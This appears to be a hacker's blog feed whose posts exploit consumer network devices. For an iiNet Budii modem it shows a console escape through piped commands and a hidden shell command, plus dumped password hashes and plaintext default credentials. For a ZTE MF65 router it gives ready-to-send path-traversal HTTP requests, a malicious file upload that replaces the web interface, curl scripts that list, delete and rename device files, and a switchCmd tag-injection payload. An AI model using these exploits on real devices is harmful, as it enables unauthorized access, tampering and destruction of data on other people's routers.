FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-91132286470745448462017-05-16T23:14:00.002+10:002022-09-16T09:38:27.161+10:00iiNet Budii(1031) (UART based privesc attacks)Opening the case we find a internal usb, we can also see a altera max jtag breakout, a large set of gpio pins and a UART breakout.<br />
<br />
connecting to the uart and booting we can see the modem is running a broadcom firmware<br />
<br />
[bootlog.samp]
<br />
CFE version 1.0.38-112.118 for BCM96362 (32bit,SP,BE) <br />
Build Date: Fri Dec 6 11:09:42 CST 2013 (root@Ayecom) <br />
Copyright (C) 2000-2011 Broadcom Corporation.
<br />
** <br />
Chip ID: BCM6362B0, MIPS: 400MHz, DDR: 333MHz, Bus: 166MHz<br />
**<br />
Total Memory: 134217728 bytes (128MB)<br />
Default host run file name : vmlinux <br />
Default host flash file name : bcm963xx_fs_kernel<br />
[/bootlog.samp] <br />
<br />
the user names available to us are:<br />
(user:admin/password:admin)<br />
(user:user/password:user) <br />
<br />
upon logging in we are brought into a console(d), the commands available to admin are :<br />
<br />
[?.samp]<br />
help logout exit quit reboot adsl <br />
xdslctl xtm brctl cat loglevel logdest<br />
virtualserver ddns df dumpcfg dumpmdm meminfo<br />
psp kill dnsproxy syslog echo ifconfig ping<br />
ps pwd sntp sysinfo tftp voice<br />
wlctl wifidefault arp defaultgateway dhcpserver dns<br />
endbg dac3120_dbg cpld_led lan lanhosts passwd ppp<br />
restoredefault route save swversion cfgupdate swupdate<br />
exitOnIdle wan 7sl factoryrestore factorywifi sysreport<br />
audiotest usbinfo zigbeetest stopzigbee initzigbee<br /><div>[/?.samp]</div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div>
<br />
The user account is slightly less privileged than the admin.<br />
<br />
a quick cat of etc/passwd or var/passwd gives us:<br />
<br />
[passwd] <br />
admin:WjGFd46JWxdxE:0:0:Administrator:/:/bin/sh <br />
support:tByR37W8BPs8g:0:0:Technical Support:/:/bin/sh <br />
user:hfO9hSymQzRIQ:0:0:Normal User:/:/bin/sh <br />
nobody:FpbmJjv2tUjNk:0:0:nobody for ftp:/:/bin/sh <br />
iiNetBoB:75xVKjjtU6y5A:0:0:Administrator:/:/bin/sh <br />
[/passwd]<br />
<br />
the passwords are all UN=PW expect for iinetbob.(pword unknown)<br />
<br />
Ok so bobs pword is supposed to be super long and i don't have it so i need more access, to see the file system..<br />
<br />
We use a pipe | on cat or ping really anything will work at this point just that cat is cleaner<br />
<br />
so we use :\<br />
<br />
>cat | ls -al<br />
<br />
Because the second command is not bound to console(d) we can use all of<br />
the busy box/sh/ash command set but after the command we are returned to the console(d)<br />
<br />
by inserting a usb into the internal port we can simply cp out the files we need<br />
<br />
>cat | cp "/dev/mtd0" "/dev/mtd1" "/dev/mtd2" "/dev/mtd3" > (your drive)<br />
<br />
Looking into the console(d) routines and its links to {lib file:libcms_cli}<br />
we find a table of hiddencmds<br />
one of them more interesting than others:<br />
<br />
<blockquote class="tr_bq">
# DATA XREF: .data:cliHiddenCmdTable o</blockquote>
<blockquote class="tr_bq">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmUdCQ5Yr_2DoEjMWyD5VdYWLv6nt2Dmj2DFzmZAhW0oKJ_ec8HFaNQ7v9ICK2bJ6WPh1pNJGtJ8PMq4DTjekReITTlGcCrj1woXFDymmtRUVEPzVivq6ftDDmj70SZa2yzbyWJCuZUlFx/s1600/Screenshot+from+2017-05-18+21-51-08.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmUdCQ5Yr_2DoEjMWyD5VdYWLv6nt2Dmj2DFzmZAhW0oKJ_ec8HFaNQ7v9ICK2bJ6WPh1pNJGtJ8PMq4DTjekReITTlGcCrj1woXFDymmtRUVEPzVivq6ftDDmj70SZa2yzbyWJCuZUlFx/s640/Screenshot+from+2017-05-18+21-51-08.png" width="640" /></a></div>
<br /></blockquote>
<br />
>iinet@sh<br />
<br />
this command breaks out of console(d) without killing the supervisors (smd&ssk)<br />
we can always use the cat trick and break into sh but it sometimes fouls the smd control.<br />
<br />
the command can be used in both the user account and the admin account so if in theory the routers admin was locked we could use the user account and privesc commands to gain a high level access.<br />
<br />
We are still very limited as too how far we can swing inside the commands as the smd and ssk respond to alot of the actions placed across the userland (telnet & ssh)<br />
<br />
The config files can be dumped via >dumpmdm or dumpconfig<br />
<br />
which will also dump the users and passwords with no encoding/hashes<br />
<br />
<br />
<SoftwareVersion>Budii1031</SoftwareVersion><br />
<AdditionalHardwareVersion>BoardId=GGDV711_iiNet</AdditionalHardwareVersion>
<X_BROADCOM_COM_LoginCfg> <br />
<AdminUserName>admin</AdminUserName> <br />
<AdminPassword>admin</AdminPassword> <br />
<AdminPasswordHash>(null)</AdminPasswordHash> <br />
<SupportUserName>support</SupportUserName> <br />
<SupportPassword>support</SupportPassword> <br />
<SupportPasswordHash>(null)</SupportPasswordHash> <br />
<UserUserName>user</UserUserName> <br />
<UserPassword>user</UserPassword> <br />
<UserPasswordHash>(null)</UserPasswordHash> <br />
<logintimeout>10</logintimeout> <br />
</X_BROADCOM_COM_LoginCfg> <br />
<br />
<br />
Till Next Time.</div>FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-25139917291950565992016-06-24T19:00:00.001+10:002022-09-16T09:34:36.514+10:00 /////ZTE MF65 -- local file listing method 3(LFLM )The Full Package ///// <h3 class="post-title entry-title" itemprop="name">
/////ZTE MF65 -- local file listing method 3(LFLM )The Full Package /////
</h3>
<div class="post-header">
</div>
another super quick one for a even better listing in the web application with the ability to change your path via the sd card settings, we use the exploit from last time to gain a web app access to the web folder, this time though we have a little bit more work to do, so here we go from the start :<br />
<br />
<br />
POST /goform/goform_set_cmd_process HTTP/1.1
<br />
Host: 192.168.0.1<br />
<br />
isTest=false&goformId=HTTPSHARE_AUTH_SET<br />
&HTTP_SHARE_STATUS=Enabled<br />
&HTTP_SHARE_WR_AUTH=readWrite<br />
&HTTP_SHARE_FILE=..%2Fweb%2F<br />
<br />
<br />
using the HTTP_SHARE_FILE= param we can change the displayed folders in the sd card manager,<br />
you will need to be logged in for this method.<br />
<br />
so your work flow is:<br />
<ol>
<li>login</li>
<li>send request to change path </li>
<li>logout</li>
</ol>
use the httpguest button to see the files<br />
<br />
now we will navigate to web/js/config/ then we will download the config.js file and change the line : <br />
<br />
SD_BASE_PATH: <a class="file" href="https://www.blogger.com/null" title="/mmc2/">/mmc2/</a><br />
<br />
to<br />
<br />
SD_BASE_PATH: <a class="file" href="https://www.blogger.com/null" title="/mmc2/">/</a><br />
<br />
and reupload it as what ever name you would like i did config.js.1<br />
and then rename the original config.js then rename the new config to replace the old one now refresh your page and check you sd card settings page to see the changes,<br /><br />I must warn against changes of //web/js/config/config.js
<br />
Line : SD_BASE_PATH: <a class="file" href="https://www.blogger.com/null" title="/mmc2/">/mmc2/</a><br />
<br />
Against any directory transversals. in any sense or method as they will not work...<br />
<br />
any changes to this path that will reflect as " "(an empty path) will render the online sd functions unusable and returning to normal operation at this point is not available via the methods we can employ.. (we need telnet)<br />
<br />
so don't upload the file with /mmc2/../ or anything like that,<br />
<br />
till next time,<br />
shoot straight,<br />
FrankSxx<br />
<br />
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-83226596442688291512016-06-13T23:31:00.000+10:002016-06-13T23:41:27.558+10:00/////ZTE MF65 -- local file listing method 2(LFLM )///// another super quick one for a better listing in the web application<br />
<br />
<br />
POST /goform/goform_set_cmd_process HTTP/1.1
<br />
Host: 192.168.0.1<br />
<br />
isTest=false&goformId=HTTPSHARE_AUTH_SET<br />
&HTTP_SHARE_STATUS=Enabled<br />
&HTTP_SHARE_WR_AUTH=readWrite<br />
&HTTP_SHARE_FILE=..%2Fweb%2F<br />
<br />
<br />
using the HTTP_SHARE_FILE= param we can change the displayed folders in the sd card manager,<br />
you will need to be logged in for this method.<br />
<br />
so your work flow is:<br />
<ol>
<li>login</li>
<li>send request to change path </li>
<li>logout</li>
</ol>
use the httpguest button to see the files<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgISxrkrfDBYqGkZVrwRC_pASWCZUe_KphVvrrVw5q3q-K2CEnX-KEO2TEU4hEJiBHsFGTo_mX7S6oNwR9RPWbE8avuimbhXUPI51WWYahZfZEzLzirKnMzToc2jS3pDCgcrwIRlpS6uhJI/s1600/Screenshot+from+2016-06-13+13-22-00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="261" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgISxrkrfDBYqGkZVrwRC_pASWCZUe_KphVvrrVw5q3q-K2CEnX-KEO2TEU4hEJiBHsFGTo_mX7S6oNwR9RPWbE8avuimbhXUPI51WWYahZfZEzLzirKnMzToc2jS3pDCgcrwIRlpS6uhJI/s640/Screenshot+from+2016-06-13+13-22-00.png" width="640" /></a></div>
<br />
this can be used to include files, delete, create and rename files/folders.<br />
this is method requires login but other methods can work without a login. <br />
<br />
till next time :)<br />
FrankSxxFrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-17153762137089302812016-06-12T15:19:00.000+10:002016-06-12T15:19:58.364+10:00// Zte MF65 Local/Exec File Include //<h2>
</h2>
<h2>
## File Upload/Exec LFI ##</h2>
hey new one, demonstration of web server executable includes <br />
<br />
use post to send off this file, this file has our basic index re uploaded<br />
without the service providers logo<br />
<br />
use hijack.html to load the new file, it may fail it also may say it was a success without actually working use with the lister bash script to check the /webs folder <br />
<br />
<br />
POST /cgi-bin/web/Hijack.html HTTP/1.1
<br />Host: Your IP<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
<br />Accept-Language: en-US,en;q=0.5
<br />Accept-Encoding: gzip, deflate
<br />Connection: close
<br />Content-Type: multipart/form-data; boundary=---------------------------13738844281409151800268458935
<br />Content-Length: 10299
<br /><br />-----------------------------13738844281409151800268458935
<br />Content-Disposition: form-data; name="path_SD_CARD_time"
<br /><br />2016-06-12 04:28:43
<br />-----------------------------13738844281409151800268458935
<br />Content-Disposition: form-data; name="path_SD_CARD_time_unix"
<br /><br />1465705724
<br />-----------------------------13738844281409151800268458935
<br />Content-Disposition: form-data; name="filename"; filename="Hijack.html"
<br />Content-Type: text/html
<br /><br /><br /><!DOCTYPE html>
<br /><html>
<br /><head>
<br /><meta http-equiv="X-UA-Compatible" content="IE=edge" />
<br /><meta charset="utf-8" />
<br /><title></title>
<br /><link type="text/css" href="theme/common.css" rel="stylesheet" />
<br /><link type="text/css" href="theme/chosen.css" rel="stylesheet" />
<br /><link href="favicon.ico" rel="shortcut icon" />
<br /><meta name="viewport" initial-scale="1.0" />
<br /><!--[if lt IE 9]>
<br /> <link type="text/css" href="theme/IE678css.css" rel="stylesheet" />
<br /><![endif]-->
<br /><!-- link href="theme/slideshow.css" rel="stylesheet" / -->
<br /><!--[if lt IE 9]>
<br /> <script type="text/javascript" src="js/lib/html5shiv.js"></script>
<br /> <![endif]-->
<br /></head>
<br /><body>
<br /> <div id='msgOverlay'>
<br /> <div><span id='msgDiv'></span></div>
<br /> </div>
<br /> <div id="mainBody-fluid">
<br /> <div id="statusBar" class="span8 side-right margintop5">
<br /> <span class="statusItem" title="network_type" i18n="true" id="networkType" data-bind="text: networkType"></span>
<br /> <span class="statusItem" title="network_provider" i18n="true" id="operator" data-bind="text: networkOperator"></span>
<br /> <span class="statusItem" title="spn_title" i18n="true" id="spn" data-bind="text:spn"></span>
<br /> <!--<span class="statusItem hide" title="ota_title" i18n="true" id="OTA" data-bind="visible:OTAStatus">
<br /> <a onclick="return showOTAAlert();">
<br /> <img class="paddingbottom6" src="./img/update.gif"/>
<br /> </a>
<br /> </span>-->
<br /> <span class="statusItem" title="signal_strength" i18n="true" id="signal_strength"><i class="signal" data-bind="attr:{'class': signalCssClass}">&nbsp;</i></span>
<br /> <span class="statusItem" title="connection_status" i18n="true" id="connection_status"><i class="icon_connection" data-bind="attr:{'class': connectionCssClass}">&nbsp;</i></span>
<br /> <span class="statusItem" title="sms_unread_count" i18n="true" id="sms_unread_count" data-bind="visible: smsUnreadCount() > 0 || showSmsDeleteConfirm()" style="display: none;">
<br /> <a onclick="return gotoSmsList();" href="javascript: void(0)">
<br /> <img data-bind="visible: smsUnreadCount() > 0 && !showSmsDeleteConfirm()" class="paddingbottom6" src="./img/sms_unread.png"/>
<br /> <img data-bind="visible: showSmsDeleteConfirm()" class="paddingbottom6" src="./img/sms_full.gif"/>
<br /> <span data-bind="visible: smsUnreadCount() > 0, text: smsUnreadCount" class="smsUnreadCount"></span>
<br /> </a>
<br /> </span>
<br /> <span class="statusItem" title="sim_status" i18n="true" id="statusItemSimStatus"><img data-bind="attr: {src: simStatus}" class="paddingbottom6"/></span>
<br /> <span class="statusItem" title="roaming_status" i18n="true" id="roamingStatus" data-bind="visible: roamingStatus() == 'R'" style="display: none;"><img class="paddingbottom6" src="./img/roaming.png"/></span>
<br /> <span class="statusItem" title="wifi_status" i18n="true" id="wifi_status" data-bind="visible: hasWifi"><img class="paddingbottom6" id="wifi_status_img" data-bind="attr: {src: wifiStatusImg}"/></span>
<br /> <span class="statusItem" title="battery_level" i18n="true" data-bind="visible: hasBattery"><img class="paddingbottom6" id="batteryCharging" data-bind="attr: {src: batteryPers}"/></span>
<br /> </div>
<br /> </div>
<br /> <div class="row-fluid marginbottom5">
<br /> <div id="themeContainer" class="span12 side-right" >
<br /> <span id="themeSection" style="display: none;">
<br /> <span class="colorBlock default" data-bind="css: {active: currentTheme() == 'style'}, click: function(data, event) { themeClickHandler(data, event, 'style') }">&nbsp;</span>
<br /> <!-- span class="colorBlock blue" data-bind="css: {active: currentTheme() == 'blue'}, click: function(data, event) { themeClickHandler(data, event, 'blue') }">&nbsp;</span-->
<br /> <span class="colorBlock mac" data-bind="css: {active: currentTheme() == 'mac'}, click: function(data, event) { themeClickHandler(data, event, 'mac') }">&nbsp;</span>
<br /> <link data-bind="attr: {href: themeHref}" rel="stylesheet" id="customTheme" type="text/css"/>
<br /> </span>
<br /> <select id="language" class="marginright10 hide" data-bind="options: languages, value: currentLan, optionsText: 'text', optionsValue: 'value', event:{ change: langChangeHandler}"></select>
<br /> <span id="login">
<br /> <span trans="password"></span>
<br /> <input id="txtPwd" autocomplete="off" class="require" type="password" maxlength="32"
<br /> name="txtPwd"/>
<br /> <span id="txtRequire" class="colorRed hide"></span>
<br /> <input id="btnLogin" class="btn-1" type="button" trans="login"/>
<br /> </span>
<br /> <span id="logout">
<br /> <a id="logoutlink" class="logout marginright10" trans="logout" href="javascript:void(0)" data-bind="click:logout"></a>
<br /> </span>
<br /> <span><img src="img/hui_spe.png" width="3px" height="40px"></span>
<br /> <span><a href="#traffic_statistics"><span class="index_toplink">My Data Usage</span></a></span>
<br /> <span><img src="img/hui_spe.png" width="3px" height="40px"></span>
<br /> <span><a href="MF65_Help/MF65%20manual_2.2.htm" target="_blank"><span class="index_toplink">Help</span></a></span>
<br /> </div>
<br /> </div>
<br /> </div>
<br /> </div>
<br /><br /> <div id='nav' data-bind="visible:showMenu()" class="row-fluid">
<br /> <ul id="list-nav" data-bind="foreach: mainMenu" class="span12">
<br /> <li data-bind='attr: {mid: hash.substring(1)}'>
<br /> <a data-bind='attr: {href: hash, trans: hash.substring(1)}'></a>
<br /> </li>
<br /> </ul>
<br /> </div>
<br /> <div class="row-fluid">
<br /> <div id="mainContainer" class="row-fluid">
<br /> <div id='left' class="span3" data-bind='visible: secondMenu().length > 0'>
<br /> <ul id="leftmenu" data-bind="foreach: {data: secondMenu }">
<br /> <li data-bind="visible: false, text: $root.getThirdMenu($data)"></li>
<br /> <li data-bind="attr: {'class': 'menu-two-level ' + hash.substring(1) }">
<br /> <a data-bind='attr: {href: hash, trans: hash.substring(1)}'></a>
<br /> </li>
<br /> <li data-bind='visible: $root.thirdMenu().length > 0' class="hide">
<br /> <ul class="third" data-bind="foreach: $root.thirdMenu()">
<br /> <li data-bind="attr: {'class': 'menu-three-level ' + hash.substring(1) }">
<br /> <a data-bind='attr: {href: hash, trans: hash.substring(1)}'></a>
<br /> </li>
<br /> </ul>
<br /> </li>
<br /> </ul>
<br /> </div>
<br /> <div id='container' class="span9 paddingnone"></div>
<br /> </div>
<br /> </div>
<br /> <div id='footer' class="side-center">
<br /> <span trans='copyright' class="hide"></span>
<br /> <span class="copyBg">Click <a href="http://www.telstra.com.au/account-services/" target="_blank"><span style="text-decoration: underline;color:#fff;">here</span></a> to access your Account Services</span>
<br /> </div>
<br /></div>
<br /><div id='loading'>
<br /> <div class='header'><span id="loadMsg"></span></div>
<br /> <br/>
<br /><br /> <div style='text-align: center'>
<br /> <img id="loadingImg"/>
<br /> <div id="loading_container"></div>
<br /> </div>
<br /></div>
<br /><br /><div id='progress'>
<br /> <div class='header'><span id="barMsg"></span></div>
<br /> <br/>
<br /> <div class="progress-content">
<br /> <div class="progress-bar-container">
<br /> <div id="bar" class="progress-bar"></div>
<br /> <div id="barValue" class="progress-bar-value"></div>
<br /> </div>
<br /> <div id="progress_container" id="progress-prompt"></div>
<br /> </div>
<br /> </div>
<br /><!-- confirm content -->
<br /><div id='confirm'>
<br /> <div class='header'><span id="popTitle"></span></div>
<br /> <div class='icon'><img id='confirmImg'/></div>
<br /> <div class='message'></div>
<br /> <div class='promptDiv hide'><input name="promptInput" id="promptInput" type="text" maxlength="25" class="width190"/><br/>
<br /> <label class="promptErrorLabel colorRed"></label></div>
<br /> <div class='buttons'>
<br /> <input type="button" class="btn-1 simplemodal-close" id='okbtn' trans='ok'/>
<br /> <input type="button" class="btn-1 " id='yesbtn' trans='yes'/>
<br /> <input type="button" class="btn-1 simplemodal-close" id='nobtn' trans='no'/>
<br /> </div>
<br /></div>
<br /><div id="buttom-bubble">
<br /></div>
<br /><script type="text/x-jquery-tmpl" id="newMessagePopTmpl">
<br /> <div class="bubbleItem ${report}" id="${mark}">
<br /> <h3>
<br /> <span trans="${titleTrans}">${title}</span> ${name} <a href="javascript:void(0);" data-targetid="${mark}" class="bubbleCloseBtn"></a>
<br /> </h3>
<br /> <div class="bubbleContainer">
<br /> <div class="bubbleContent">${content}</div>
<br /> <div class="bubbleDatetime">${datetime}</div>
<br /> </div>
<br /> </div>
<br /></script>
<br /><script type="text/javascript" data-main="js/main" src="js/lib/require/require-jquery.js"></script>
<br /></body>
<br /></html>
<br /><br />-----------------------------13738844281409151800268458935--
<br />FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-24544897474206944292016-06-12T00:10:00.001+10:002022-09-16T09:31:06.062+10:00Mf65 File List/Rename/Delete Bash Scriptaquick upload:<br />
these have (your.local.ip) change to suit yours <br />
<br />
bash script for file listings:<br />
<br />
################################### <br />
#!/bin/sh<br />
<br />
<br />
echo "use ^c to exit"<br />
echo "path"<br />
read PARAM1<br />
echo "page\(please use 1 as default\(10 r/s per page\)\)"<br />
read PARAM2<br />
echo '<br />
'<br />
HOST_PARAM="http://your.local.ip/goform/goform_set_cmd_process?isTest=false&goformId=HTTPSHARE_ENTERFOLD&path_SD_CARD="$PARAM1"&indexPage=$PARAM2"<br />
<br />
curl "$HOST_PARAM" <br />
<br />
echo '<br />
<br />
<br />
'<br />
<br />
echo "New Page Number? or 0 to go back."<br />
<br />
read PARAM3<br />
<br />
HOST_PARAM="http://your.local.ip/goform/goform_set_cmd_process?isTest=false&goformId=HTTPSHARE_ENTERFOLD&path_SD_CARD="$PARAM1"&indexPage=$PARAM3"<br />
<br />
curl "$HOST_PARAM"<br />
<br />
echo '<br />
<br />
<br />
'<br />
<br />
echo "use ^c to exit"<br />
echo "path"<br />
read PARAM1<br />
echo "page\(please use 1 as default\(10 r/s per page\)\)"<br />
read PARAM2<br />
<br />
HOST_PARAM="http://your.local.ip/goform/goform_set_cmd_process?isTest=false&goformId=HTTPSHARE_ENTERFOLD&path_SD_CARD="$PARAM1"&indexPage=$PARAM2"<br />
<br />
curl "$HOST_PARAM"<br />
<br />
echo '<br />
'<br />
<br />
echo "New Page Number? or 0 to go back."<br />
<br />
read PARAM3<br />
<br />
HOST_PARAM="http://your.local.ip/goform/goform_set_cmd_process?isTest=false&goformId=HTTPSHARE_ENTERFOLD&path_SD_CARD="$PARAM1"&indexPage=$PARAM3"<br />
<br />
curl "$HOST_PARAM"<br />
<br />
echo "use ^c to exit"<br />
echo "path"<br />
read PARAM1<br />
echo "page\(please use 1 as default\(10 r/s per page\)\)"<br />
read PARAM2<br />
<br />
HOST_PARAM="http://your.local.ip/goform/goform_set_cmd_process?isTest=false&goformId=HTTPSHARE_ENTERFOLD&path_SD_CARD="$PARAM1"&indexPage=$PARAM2"<br />
<br />
curl "$HOST_PARAM"<br />
<br />
##############################################<br />
<br />
bash for deleting files <br />
<br />
#################################33 <br />
#!/bin/sh<br />
<br />
<br />
echo "use ^c to exit"<br />
echo "path to delete file from use mmc2 for sd card"<br />
read PARAM1<br />
echo "file name to delete"<br />
read PARAM2<br />
echo '<br />
'<br />
HOST_PARAM="http://your.local.ip/goform/goform_set_cmd_process?isTest=false&goformId=HTTPSHARE_DEL&path_SD_CARD=$PARAM1&name_SD_CARD='$PARAM2'*"<br />
<br />
curl "$HOST_PARAM" <br />
<br />
<br />
echo '<br />
'<br />
##################################<br />
<br />
bash for rename(can be used on all sorts of files in all sorts of places) <br />
<br />
###################################<br />
<br />
#!/bin/sh<br />
<br />
<br />
echo "use ^c to exit"<br />
echo "path_SD_CARD"<br />
read PARAM1<br />
echo "OLD_NAME_SD_CARD"<br />
read PARAM2<br />
echo "NEW_NAME_SD_CARD"<br />
read PARAM3<br />
echo '<br />
'<br />
HOST_PARAM="http://your.local.ip/goform/goform_set_cmd_process?isTest=false&goformId=HTTPSHARE_FILE_RENAME&path_SD_CARD=$PARAM1&OLD_NAME_SD_CARD=$PARAM2&NEW_NAME_SD_CARD=$PARAM3&path_SD_CARD_time=2016-06-11+05%3A49%3A06&path_SD_CARD_time_unix=1465624146"<br />
<br />
<br />
curl "$HOST_PARAM" <br />
<br />
<br />
echo '<br />
<br />
<br />
'<br />
<br />
<br />FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-43525792577273014362016-06-05T11:25:00.002+10:002016-06-05T11:26:05.340+10:00///Zte MF65 local file listing/include exploits///<h2>
///Zte MF65 local file listing/include exploits///</h2>
<h2>
</h2>
hey guys back again and another quickie but goodie,<br />
ive been searching for any traces of the internal filesystem of this router by every method of lfi i could think of, i was lured to the http share page, this is the page used to upload files into the sd card, it seems to be locked to the mmc2 path, via the requests made, the paths are set in the httpshare files<br />
(off the top of my head they are in the tmpl/sd path and in the js path)<br />
the htttp page uses a directory check to obtain a listing of the files in the said directory(mmc2) by changing the check querys we end up with a few local file listing includes and a few local file includes:<br />
we are using xml reqeusts via your favourite request launcher (nc,curl,burp,whatevs)<br />
<br />
using:<br />
<br />
POST /goform/goform_set_cmd_process HTTP/1.1<br />
Host: 192.165.0.1<br />
User-Agent: your own uA<br />
Accept: application/json, text/javascript, */*; q=0.01<br />
Accept-Language: en-US,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />
X-Requested-With: XMLHttpRequest<br />
Referer: <a class="http" href="http://192.165.0.1/index.html" title="http://192.165.0.1/index.html">http://--your ip --/index.html</a><br />
Content-Length: 75<br />
Connection: close
<br />
isTest=false&goformId=HTTPSHARE_ENTERFOLD&path_SD_CARD=%2F..%2F&indexPage=1<br />
<br />
<br />
we are using the path_SD_CARD=%2F..%2F<br />
(we must use url encoding on this param)<br />
we can get listings from everywhere with this query<br />
this is the results for the ./ path<br />
<br />
<br />
which returns with :<br />
<br />
{"result":{"fileInfo":[{"fileName":".efs_private","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"1.txt","attribute":"file","size":"0","lastUpdateTime":"315964800"},{"fileName":"AUTORUN.FLG","attribute":"file","size":"0","lastUpdateTime":"315964800"},{"fileName":"Images","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"KEEPRNDISDBG.FLG","attribute":"file","size":"4","lastUpdateTime":"315964800"},{"fileName":"NODOWNLOAD.FLG","attribute":"file","size":"0","lastUpdateTime":"315964800"},{"fileName":"SWITCH.TMP","attribute":"file","size":"34","lastUpdateTime":"315964800"},{"fileName":"TCARD_SHARE","attribute":"file","size":"32","lastUpdateTime":"315964800"},{"fileName":"UimEfsAPDULog.Txt","attribute":"file","size":"0","lastUpdateTime":"315964800"},{"fileName":"ZTEMODEM.ISO","attribute":"file","size":"5216256","lastUpdateTime":"315964800"}],"totalRecord":"25"}}<br />
{"fileName":"config","attribute":"file","size":"20080","lastUpdateTime":"315964800"}],"totalRecord":"25"}}<br />
{"fileName":"etc","attribute":"document","size":"0","lastUpdateTime":"315964800"},<br />
{"fileName":"mmc2","attribute":"document","size":"0","lastUpdateTime":"0"},{"fileName":"mmgsdi","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"nv","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"nvconfig_debug","attribute":"file","size":"7840","lastUpdateTime":"315964800"},{"fileName":"nvm","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"pbm_phone_uid.dat","attribute":"file","size":"9","lastUpdateTime":"315964800"},{"fileName":"pdp_profiles","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"reset_cntr.bin","attribute":"file","size":"4","lastUpdateTime":"315964800"},{"fileName":"sms","attribute":"document","size":"0","lastUpdateTime":"315964800"}],<br />
{"fileName":"storage.ds","attribute":"file","size":"32","lastUpdateTime":"315964800"},{"fileName":"test","attribute":"file","size":"0","lastUpdateTime":"315964800"},<br />
{"fileName":"var","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"web","attribute":"document","size":"0","lastUpdateTime":"315964800"},{"fileName":"wificonfig","attribute":"document","size":"0","lastUpdateTime":"315964800"}],"totalRecord":"25"}}
<br />
<br />
<br />
they are capped at returning a max of 10ish files but changing indxPage to 2 will load the next page of results,<br />
notice the .efs_private file<br />
lending
hints that the fs is encrypted and extracted at run time, there is many
keys inside the firmware provided by u_mob for the mf65 that are almost 100% the
same file system except for of cause the providers changes, like telstra
dont call there query key a lucky number anymore its just
_=(luckynumber)=(timeinseconds)<br />
<br />
well stay tuned as i pull that .efs_private and the ZTEMODEM.ISO files<br />
<br />
<br />
also a quick trick is to change the names of the uploaded files via the rename to resolve a file in a place other than the mmc2 folder<br />
the rename query can also be used to change file names of files in other places using the same exploits, please ill get around to these as soon as i get the chance<br />
<br />
till then guys stay fucken sharp and dont trip on your self :P<br />
<br />FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-50617994012960041652016-06-01T14:34:00.000+10:002016-06-01T14:35:23.067+10:00 ZTE(telstra)MF65 -Remote file include-<h3>
<span style="font-size: large;">ZTE<span style="font-size: small;">(telstra)<span style="font-size: large;">MF65</span></span></span></h3>
<h3>
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">Remote file include :</span></span></span></span></h3>
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">this exploit uses :</span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">http://</span></span></span></span></span></span></span></span><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">Your-R-IP</span></span></span></span>/goform/goform_process?goformId=MODE_SWITCH&switchCmd=</span></span></span></span></span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">and exploits the loose handling of closing html tags because the switchCmd page uses a unclosed <title> tag to normally write the switch command and return either success or fail in the page title, this leads us to closing the <tiltle> and starting a new tag, i found <xyz> worked as an arbitrary tag </span></span></span></span></span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">, this worked great(you could use anything in there), so we have :</span></span></span></span></span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"> </span></span></span></span></span></span></span></span><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">switchCmd=pagenamegoeshere</title><xyz></span></span></span></span></span></span></span></span></span></span></span></span><br />
<br />
